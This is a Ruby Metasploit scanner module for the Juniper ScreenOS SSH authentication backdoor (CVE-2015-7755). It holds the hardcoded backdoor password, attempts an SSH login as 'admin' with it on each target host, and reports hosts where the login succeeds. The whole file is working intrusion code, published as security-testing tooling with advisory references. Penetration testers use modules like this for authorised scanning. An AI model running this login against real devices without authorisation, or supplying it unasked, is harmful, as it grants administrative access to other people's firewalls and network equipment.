83 lines
2.2 KiB
Ruby
83 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::SSH
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Juniper SSH Backdoor Scanner',
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'Description' => %q{
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This module scans for the Juniper SSH backdoor (also valid on Telnet).
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Any username is required, and the password is <<< %s(un='%s') = %u.
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},
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'Author' => [
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'hdm', # Discovery
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'h00die <mike[at]stcyrsecurity.com>' # Module
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],
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'References' => [
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['CVE', '2015-7755'],
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['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'],
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['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713']
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],
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'DisclosureDate' => 'Dec 20 2015',
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'License' => MSF_LICENSE
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))
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register_options([
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Opt::RPORT(22)
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])
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register_advanced_options([
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OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
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OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
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])
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end
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def run_host(ip)
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factory = ssh_socket_factory
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ssh_opts = {
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port: rport,
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auth_methods: ['password', 'keyboard-interactive'],
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password: %q{<<< %s(un='%s') = %u},
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proxy: factory,
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:non_interactive => true
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}
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ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
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begin
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ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
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Net::SSH.start(
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ip,
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'admin',
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ssh_opts
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)
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end
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rescue Net::SSH::Exception => e
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vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
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return
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end
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if ssh
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print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un='%s') = %u")
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report_vuln(
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:host => ip,
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:name => self.name,
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:refs => self.references,
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:info => ssh.transport.server_version.version
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)
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end
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end
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def rport
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datastore['RPORT']
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end
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end
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